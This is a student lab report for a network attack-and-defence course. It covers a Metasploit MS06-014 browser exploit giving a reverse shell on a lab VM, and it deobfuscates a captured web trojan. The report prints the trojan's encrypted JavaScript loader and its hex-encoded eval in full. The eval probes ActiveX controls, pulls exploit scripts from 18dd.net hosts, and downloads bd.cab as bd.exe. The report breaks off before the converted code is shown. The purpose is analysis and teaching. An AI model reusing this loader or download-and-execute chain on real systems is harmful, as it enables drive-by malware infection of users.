20251905 2025-2026-2 《网络攻防实践》实验十一

20251905 2025-2026-2 《网络攻防实践》实验十一

1.实践内容

学习内容

JavaScript 编码、混淆与解混淆

JavaScript 混淆是网页木马隐藏真实意图的重要手段。常见方法包括十六进制字符串、八进制字符串、Base64 编码、字符串数组、索引函数、自执行函数、数组旋转、eval 动态执行和多层脚本拼接。解混淆的基本思路是不要直接执行可疑代码,而是先识别编码方式,再将危险执行函数替换为输出函数,例如把 eval 替换为 console.log,逐层恢复真实脚本内容。通过解混淆可以提取隐藏 URL、ActiveX 对象名称、shellcode 字符串以及下载载荷地址。

哈希计算与样本定位

哈希值可以作为文件或 URL 的唯一性标识。实验中的网页木马分析要求对解密得到的 URL 计算 32 位 MD5 值,并以哈希值为文件名到指定目录中查找对应样本。这样做可以避免直接暴露恶意 URL,也便于统一管理样本。分析过程中还需要对下载得到的二进制文件计算哈希值,用于判断不同路径下载到的样本是否相同。如果多个文件的哈希值一致,就可以确认它们内容完全相同,后续只需选择其中一个进行深入分析。

Shellcode 与堆喷射

Shellcode 是漏洞利用成功后执行的一小段机器代码,常用于下载文件、执行命令、建立连接或加载后续程序。浏览器端漏洞利用中常见的写法是用 JavaScript 的 unescape 构造 %u 形式的 UTF-16 字符串,再把机器码放入内存。堆喷射是一种提高利用成功率的技术,其思想是在堆内存中大量填充 NOP 指令和 shellcode,使程序控制流被劫持后更容易跳转到可执行载荷区域。分析 shellcode 时,可以将 UTF-16 字符串按小端序还原为字节数组,再提取其中的可打印字符串,如 API 名称和下载 URL。

社会工程与隐藏加载

社会工程是利用人的信任、好奇或疏忽诱导其执行危险操作的攻击方式。在浏览器攻击中,攻击者常把真实漏洞利用地址伪装成普通邮件链接、短链接或看似正常的网页入口。隐藏加载则是指页面表面上显示正常内容,但通过隐藏 iframe、自动跳转或后台脚本加载真实攻击页面。防守方分析时需要检查邮件超链接、网页源码、浏览器网络请求和脚本逻辑,提取真实 URL 并判断其是否对应漏洞利用模块。

实践内容

本次实践共完成三个任务:第一,使用 Metasploit 中的 MS06-014 浏览器渗透攻击模块生成恶意页面,在 Windows 靶机访问后建立远程 Shell;第二,分析网页木马攻击场景,从 start.htmlnew09.htm 出发,逐层解密脚本、计算 URL 的 MD5 并定位样本,最终对下载得到的二进制程序进行静态分析;第三,完成 Web 浏览器渗透攻击攻防对抗,构造两个不同漏洞模块对应的恶意链接,将其隐藏到网页脚本中,并从防守角度分析混淆脚本和真实漏洞利用目标。

2.实验过程

实验一:Web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

首先打开msfconsole

image-20260608134838124

选择使用Metasploit中的MS06-014渗透攻击模块

image-20260608135314740

查看模块所需参数,并设置服务器地址、访问路径和载荷等配置。

image-20260608135417317

image-20260608135537049

Metasploit 生成恶意页面 URL 后,使用靶机浏览器访问该网址。

image-20260608142416086

可以看到反弹 Shell 已经成功建立。在攻击机端进入会话后,可以远程执行靶机命令。

image-20260608142753156image-20260608142823554

例如在会话中执行 ipconfig 查看靶机 IP 信息。

image-20260608142907502


实验二:取证分析实践 - 网页木马攻击场景分析

start.html 中给出了 new09.htm 的路径,但实验环境中没有直接提供该文件。

image-20260608150229624

因此根据教材中给出的内容继续分析 new09.htm

image-20260608150950826

可以看到其中包含两个路径,一个是 1299644.js,另一个是 kl.htm

先查看 1299644.js 的内容。

image-20260608151048400

该脚本没有发现有效内容。按照实验要求,对 kl.htm 的完整 URL 进行 MD5 计算,并查看对应文件。

http://aa.18dd.net/aa/kl.htm

image-20260616205039233

在hashed文件夹中找到了对应文件。

image-20260616205150505

打开文件,查看其中内容,发现其被混淆。

<script language =javascript>

function utf8to16(mBm1){var YAgps2,z$EnNkblS3,_J$OCI4,JULuNO5;var K6,VjOzlmshy7;YAgps2=[];_J$OCI4=mBm1["\x6c\x65\x6e\x67\x74\x68"];z$EnNkblS3=0;while(z$EnNkblS3<_J$OCI4){JULuNO5=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);switch(JULuNO5>>4)

{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:YAgps2[YAgps2["\x6c\x65\x6e\x67\x74\x68"]]=mBm1["\x63\x68\x61\x72\x41\x74"](z$EnNkblS3-1);break;case 12:case 13:K6=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);YAgps2[YAgps2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((JULuNO5&0x1F)<<6)|(K6&0x3F));break;case 14:K6=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);VjOzlmshy7=mBm1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](z$EnNkblS3++);YAgps2[YAgps2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((JULuNO5&0x0F)<<12)|((K6&0x3F)<<6)|((VjOzlmshy7&0x3F)<<0));break;}}

return YAgps2["\x6a\x6f\x69\x6e"]('');}

var MsIRays8=new window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);

function base64decode(Xs9)

{var UlBDOqT10,CKF11,ClCCjp12,gt13;var qCZsfjn14,uAcMH15,Yuv16;uAcMH15=Xs9["\x6c\x65\x6e\x67\x74\x68"];qCZsfjn14=0;Yuv16 = "";while(qCZsfjn14<uAcMH15)

{do

{UlBDOqT10=MsIRays8[Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff]}while(qCZsfjn14<uAcMH15&&UlBDOqT10==-1);if(UlBDOqT10==-1)

break;do

{CKF11=MsIRays8[Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff]}while(qCZsfjn14<uAcMH15&&CKF11==-1);if(CKF11==-1)

break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"]((UlBDOqT10<<2)|((CKF11&0x30)>>4));do

{ClCCjp12=Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff;if(ClCCjp12==61)

return Yuv16;ClCCjp12=MsIRays8[ClCCjp12]}while(qCZsfjn14<uAcMH15&&ClCCjp12==-1);if(ClCCjp12==-1)

break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((CKF11&0XF)<<4)|((ClCCjp12&0x3C)>>2));do

{gt13=Xs9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](qCZsfjn14++)&0xff;if(gt13==61)

return Yuv16;gt13=MsIRays8[gt13]}while(qCZsfjn14<uAcMH15&&gt13==-1);if(gt13==-1)

break;Yuv16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((ClCCjp12&0x03)<<6)|gt13)}

return Yuv16}

function long2str(v,KDGWFiv17){var Wp18=v["\x6c\x65\x6e\x67\x74\x68"];var tGRDob19=v[Wp18-1]&0xffffffff;for(var EGOTt20=0;EGOTt20<Wp18;EGOTt20++)

{v[EGOTt20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](v[EGOTt20]&0xff,v[EGOTt20]>>>8&0xff,v[EGOTt20]>>>16&0xff,v[EGOTt20]>>>24&0xff);}

if(KDGWFiv17){return v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,tGRDob19);}

else{return v["\x6a\x6f\x69\x6e"]('');}}

function str2long(u$21,LskoLvqb22){var cFeuCN23=u$21["\x6c\x65\x6e\x67\x74\x68"];var YQ_c24=[];for(var GapMYiRr25=0;GapMYiRr25<cFeuCN23;GapMYiRr25+=4)

{YQ_c24[GapMYiRr25>>2]=u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25)|u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25+1)<<8|u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25+2)<<16|u$21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](GapMYiRr25+3)<<24;}

if(LskoLvqb22){YQ_c24[YQ_c24["\x6c\x65\x6e\x67\x74\x68"]]=cFeuCN23;}

return YQ_c24;}

function xxtea_decrypt(tFX26,Su27){if(tFX26==""){return"";}

var ArazzKi28=str2long(tFX26,false);var DhTWjwXc29=str2long(Su27,false);var u_RIHeIWV30=ArazzKi28["\x6c\x65\x6e\x67\x74\x68"]-1;var ttraIAo31=ArazzKi28[u_RIHeIWV30-1],lLMsWz32=ArazzKi28[0],B33=0x9E3779B9;var pDDucrd34,F$s35,MsOR36=window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(u_RIHeIWV30+1)),ipNggI37=MsOR36*B33&0xffffffff;while(ipNggI37!=0){F$s35=ipNggI37>>>2&3;for(var WkXem38=u_RIHeIWV30;WkXem38>0;WkXem38--){ttraIAo31=ArazzKi28[WkXem38-1];pDDucrd34=(ttraIAo31>>>5^lLMsWz32<<2)+(lLMsWz32>>>3^ttraIAo31<<4)^(ipNggI37^lLMsWz32)+(DhTWjwXc29[WkXem38&3^F$s35]^ttraIAo31);lLMsWz32=ArazzKi28[WkXem38]=ArazzKi28[WkXem38]-pDDucrd34&0xffffffff;}

ttraIAo31=ArazzKi28[u_RIHeIWV30];pDDucrd34=(ttraIAo31>>>5^lLMsWz32<<2)+(lLMsWz32>>>3^ttraIAo31<<4)^(ipNggI37^lLMsWz32)+(DhTWjwXc29[WkXem38&3^F$s35]^ttraIAo31);lLMsWz32=ArazzKi28[0]=ArazzKi28[0]-pDDucrd34&0xffffffff;ipNggI37=ipNggI37-B33&0xffffffff;}

return long2str(ArazzKi28,true);}

t="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";

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t);

</script>

最为重要的应该是t这个参数,其使用xxtea算法进行加密。

找到此文件的解密密钥\x73\x63\x72\x69\x70\x74,即script,对t进行解密,其中t是一个经过base64编码的字符串

image-20260616205921569

解密后的结果如下:

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

16进制没法看代码,转换为人类可识别的代码

image-20260616210138359

转化后的代码如下:

